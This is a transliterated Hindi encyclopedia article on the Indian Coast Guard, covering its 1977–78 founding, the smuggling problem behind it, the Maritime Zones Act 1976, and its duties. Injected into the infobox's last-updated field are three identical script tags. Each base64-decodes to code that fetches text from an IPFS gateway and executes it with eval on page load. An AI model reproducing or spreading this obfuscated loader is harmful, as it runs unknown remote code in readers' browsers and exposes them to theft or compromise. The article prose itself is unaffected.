भारतीय तटरक्षक
bharatiy tatarakshak
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| vivaran | tatarakshak bal ek nausena ke saman sainy ya arddh-sainy sangathan hota hai, parantu isaka mukhy kartavy atankavad aur aparadh se ek desh ke samudri kshetroan ki raksha karana hai. |
| sakriy | 1978–vartaman |
| desh | bharat |
| prakar | tatarakshak |
| vibhag | raksha mantralay (bharat sarakar), bharatiy sena |
| mukhyalay | nee dilli |
| adarsh vaky | vayamh raksham: (ham raksha karate haian) |
| tatarakshak divas | 1 faravari |
| mahanideshak | anurag gopalan thapaliyal |
| apar nideshak | rajeandr sianh |
| sanbandhit lekh | tatarakshak divas, bharatiy nausena |
| bahari k diyaan | adhikarik vebasait |
| adyatan | 15:28, 23 janavari 2015 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bharatiy tatarakshak (aangrezi: Indian Coast Guard) ya tatarakshak bal ek nausena ke saman sainy ya arddh-sainy sangathan hota hai, parantu isaka mukhy kartavy atankavad aur aparadh se ek desh ke samudri kshetroan ki raksha karana hai, isake atirikt yah khatare mean p de potoan aur naukaoan ko bachane ka kary bhi karate haian. bharat ka bal bharatiy tatarakshak kahalata hai. kee deshoan me tatarakshak bal ek kanoon pravartan sangathan ki bhoomika bhi nibhate haian. bharatiy tatarakshak ka adarsh vakhy hai "vayamh raksham:" arthath ham raksha karate haian.
sthapana
7 janavari 1977 ko mantrimandal ke nirnay ka anusamarthan karate hue 1 faravari 1977 ko nausena mukhhyalay ke aantargat aantarim tatarakshak sangathan ki shthapana huee. aramhbh mean nausena se nikale gaye do phriget (bharatiy nausena pot kripan tatha kuthar) tatha grih mantralay se shthanaantarit paanch gashhti naukaoan (pamhban, puri, pulikait, panaji tatha panavel) ko shamil kiya gaya. inako tatavarti kshetr tatha dvip kshetroan mean tatarakshak dyootiyoan ka nirvah karane ke lie tainat kiya gaya. isaka uddeshhy hamare samudri kshetr mean nigarani banaye rakhana tatha simit bal ke sath hamare samudri kshetroan mean samudri gatividhiyoan ko moolhyaankit karana tha. 1 faravari 1977 ko gathit aantarim tatarakshak prakoshhth mean, le. kamaandar datht, kamodor sarathi vais edamiral vi. e. k aaumath, kamaandar bhanot, shri varadan, shri sandhoo, shri jain, shri pilhlai, shri malhhotra, shri shashtri adi shamil the. 18 agasht 1978 ko sansad mean adhiniyam parit hone ke dvara tatarakshak seva ke nirman ka roop le saki tatha vah 19 agasht 1978 ko lagoo hua. ‘ek aisa adhiniyam, joki samudrik tatha samudri kshetroan mean anhy rashhtriy hitoan tatha sanbaddh mamaloan ke sanrakshan ko dhhyan mean rakhate hue bharat ke samudri kshetr ki suraksha ko sunashchit karane ke lie, sangh ke ek sashashtr bal ka gathan evan viniyaman karean.’
itihas
1960 ki samapti ke dauran samudr par se samudr mean tashkari niyantrit nahian ho rahi thi jisase rashhtr ki arth vhyavashtha par khatara paida ho gaya tha. kenhdriy abakari tatha simashulhk bord ke lie nausena dvara sanchalit 05 simashulhk gashhti krapht tashkaroan ko rokane mean poornat: paryapht nahian the. tathkal upayoan ke taur par tashkari-rodhi prayasoan ko badhane ke lie 13 jabht ki gee dhoan ko unaki aantarnihit badhaoan ke bavajood bhi seva mean lagaya gaya taki vidyaman be de ko madad mil sake. tathapi, yah poora balashtar bhari matra mean tashkari ki gatividhiyoan ko rokane mean keval mamooli taur par hi prabhavi tha. samudr mean tashkari ke avagaman ki samashya ki jaanch mean nimhnalikhit shamil tha:-
- bina kisi prabhavi kshetravhyapti ke lamhbi tat rekha.
- tat ke pas b di matra mean machhali pak dane ki gatividhiyoan mean avaidh avajahi ki pahachan n kar pana, visheshakar jab machhuvahi kraphtoan/naukaoan ke panjikaran ke lie kisi prabhavi paddhati ka lagoo n hona.
- apane kshetradhikar ke bhitar avaidh potoan ko pak dane ki avashhyakata.
- tashkaroan tatha prayog mean lae ja rahe tivr gati ke pot samudr mean bhari matra mean ho rahi tashkari ke karan tattkalin pradhanamantri ke 23 janavari 1970 ke nirdeshoan ke anupalan mean mantrimandal sachivalay ne d aau. bi. di. nag chaudhari ki adhhyakshata tatha vayusena adhhyaksh o. pi. mehata tatha edamiral ar. di. katari, aee en (sevanivritht) tatha doosare sadashyoan ke sath mamale ko jaanchane tatha riport dene ke lie ek adhhyayan dal ka gathan kiya .
- adhigrahan ke lie kraphtoan ki sankhhya tatha kishm taki tashkari-rodhi karyoan ki turanht rokatham ki avashhyakata ko poora kiya ja sake.
- apoorti ke srot tatha vishhv bazar mean unaki upalabhdhata, taki sankriyathmak avashhyakata se nipata ja sake.
- tashkari-rodhi apareshanoan ke lie hovarakrapht, helik aauptar tatha doosare vayuyanoan ki upayogita.
- d aau. bi. di. nag chaudhari ne apani riport, joki agast 1971 mean sauanpi gee, mean sipharish ki gee thi ki tashkari-rodhi kshamataoan ko trishtariy banane tatha tashkari-rodhi upayoan ke lie shvadeshi nirman tatha taliy kraphtoan ke shighr adhigrahan ki turanht avashhyakata hai. tathapi, jab tak ki naye tivragami taliy kraphtoan ka adhigrahan nahian hota. tivragami aantarrodhi naukaean hi hamari simit tashkari-rodhi kshamata ko turanht badhane ke lie pahali pasand thi. nigarani kraphtoan ka charanabaddh adhigrahan karyakram usi prakar suvidhanusar tej kiya ja sakega.
raksha mantralay shtar par mukhhy batean
raksha mantralay ne rajanitik mamaloan ki mantrimandaliy samiti ke vichararth ek mamala taiyar kiya jisamean nimhnalikhit ke lie anumodan maanga gaya:-
- tatarakshak sangathan ki shthapana ke lie avashhyak kadam uthana.
- raksha mantralay mean kenhdriy mukhhyalay ke sath vais edamiral raiank ka vishesh dyooti aphasar niyukht karana tatha tatarakshak sangathan ke lie vishtrit pariyojana taiyar karane ke lie uchit shtaph upalabhdh karana.
- nausena ke do purane phrigetoan ke sath aantarim tatarakshak bal ka srijan tatha grih mantralay se paanch gashhti potoan ka hashtaantaran.
- 7 janavari 1977 ko mantrimandal ne nausena ke bhitar ek aantarim tatarakshak sangathan ke prashtav ko manjoor kiya taki vinirdishht tatarakshak karyoan ko kiya ja sake. rajanitik mamaloan par mantrimandaliy samiti ne yah nirdesh diya ki tatarakshak ko bajatiy pravadhanoan ke lie rajashv tatha baiankiang vibhag ke prakhkalan mean alag shirsh ke tahat rakha jana chahie. age, yah bhi nirdeshit kiya gaya ki tatarakshak ke lie vishtrit yojana taiyar ki jani chahie.
samudri kshetr adhiniyam 1976
samudr tatha samudr tal se arthik labh uthane ke prati jagarookata badhane se bahut se tatiy pranhtoan ne apane pranht se lage b de samudri kshetr par apana kshetradhikar ka dava kiya hai. yoo. en. si. el. o. es. ki tisari baithak mean kamiyoan ko sulajhaya gaya tatha aantarrashhtriy samudri tal kshetr ke lie vidhan vikasit kiya gaya. duniya ke vidyaman halatoan ki barabari ke lie bharat sarakar ne 25 agast 1976 ko samudri kshetr adhiniyam banaya. yah adhiniyam 15 janavari 1977 ko lagoo hua, jisamean 2.01 lakh varg kilomitar ke sanpoorn anhnay arthik kshetr ke kshetr ko rashhtriy kshetradhikar mean laya gaya. itane b de samudri kshetr ki suraksha tatha rashhtriy vidhiyoan ka pravartan aur rashhtriy hitoan ki raksha karana ek bhari kam tha, jisake lie ek samarpit sangathan ki avashhyakata hogi.
uddeshy
- hamare samudr tatha tel, matsay evan khanij sahit apatatiy sanpatti ki suraksha.
- sankatagrast navikoan ki sahayata tatha samudr mean jan mal ki suraksha.
- samudr, pot-parivahan, anadhikrit machhli shikar, taskari aur svapak se sanbandhit samudri vidhiyoan ka pravartan.
- samudri paryavaran aur paristhitiki ka parirakshan tatha durlabh prajatiyoan ki suraksha.
- vaijnanik aankade ekatr karana tatha yuddh ke dauran nausena ki sahayata karane sahit hamare samudr tatha apatatiy parisampattiyoan ka sanrakshan karana.
kary
tatarakshak, bharat ke samudri kshetroan mean lagoo sabhi rashtriy adhiniyamoan ke upabandhoan ka pravartan karane ke lie pramukh sanstha hai, jo rashtr evan samudri samuday ke prati nimnalikhit sevaean pradan karata hai.
- hamare samudri kshetroan mean kritrim dvipoan, apatatiy sansthapanaoan tatha any sanrachana ki suraksha aur sanrakshan sunishchit karana.
- machhuvaroan ki suraksha karana tatha samudr mean sankat ke samay unaki sahayata karana.
- samudri pradooshan ke nivaran aur niyantrak sahit hamare samudri paryavaran ka sanrakshan aur parirakshan karana.
- taskari-rodhi abhiyanoan mean sima-shulk vibhag tatha any pradhikariyoan ki sahayata karana.
- bharatiy samudri adhiniyamoan ka pravartan karana.
- samudr mean jan-mal ki suraksha sunishchit karane ke lie avashyak upay karana.
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tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
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